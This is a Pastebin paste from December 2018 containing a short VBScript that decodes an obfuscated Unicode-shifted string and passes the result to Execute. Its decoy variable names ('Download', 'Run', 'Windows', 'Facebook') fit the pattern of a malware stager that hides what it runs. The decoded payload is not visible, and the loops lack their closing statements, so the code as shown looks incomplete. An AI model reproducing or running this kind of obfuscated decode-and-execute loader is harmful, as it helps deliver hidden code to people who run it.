a guest Dec 16th, 2018 73 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
- dim NBVCXWPOIUYTREZAQSGFDHKJML
- NBVCXWPOIUYTREZAQSGFDHKJML = "ࠊ࠽ࠪࠨ࠺࠹ࠪ߭ߧ࠸ࠪ࠹ߥࠆࠂࠈ࠷ࠪࠦ࠹ࠪࠔࠧࠪࠨ࠹߭ߧߧࠒ࠘ࠝࠒࠑ߷߳ࠝࠒࠑࠍ࠙࠙ࠕߧߧ߮߿ࠆ߳ࠔ࠵ࠪ࠳ߥߧߧࠕࠔ࠘࠙ߧߧ߱ߧߧ࠭࠹࠹࠵࠸߿ߴߴ࠵ࠦ࠸࠹ࠪࠧ࠳߳ࠨ࠴࠲ߴ࠷ࠦ࠼ߴࠟ࠹ࠦ߹࠭ࠆ࠾ߧߧ߱ࠫࠦ࠱࠸ࠪ߿ࠆ߳࠸ࠪ࠳ࠩ߿ࠊ࠽ࠪࠨ࠺࠹ࠪ߭ࠆ߳࠷ࠪ࠸࠵࠴࠳࠸ࠪ࠹ࠪ࠽࠹߮ߧ߮ߒߏߒߏߒߏ߬ߥ࠘ࠞࠗࠎࠆߥࠍࠆࠈࠐࠊࠗ"
- Windows = ""
- Dim Acc
- Acc = 0
- dim Download
- Download = 0
- dim Run
- dim WXCVBNLMPIYHFSETAQRUIOUTBN
- Run = "NBVCXWPOIUYTREZAQSGFDHKJML"
- Facebook = 0
- do until Download = len(Run)
- Download = Download + 1
- WXCVBNLMPIYHFSETAQRUIOUTBN = WXCVBNLMPIYHFSETAQRUIOUTBN + AscW(mid(Run,Download,1))
- do until Acc= Len(NBVCXWPOIUYTREZAQSGFDHKJML)
- Acc= Acc + 1
- Windows = Windows & ChrW(AscW(Mid(NBVCXWPOIUYTREZAQSGFDHKJML, Acc, 1)) - WXCVBNLMPIYHFSETAQRUIOUTBN + len(Run))
- Execute Windows
RAW Paste Data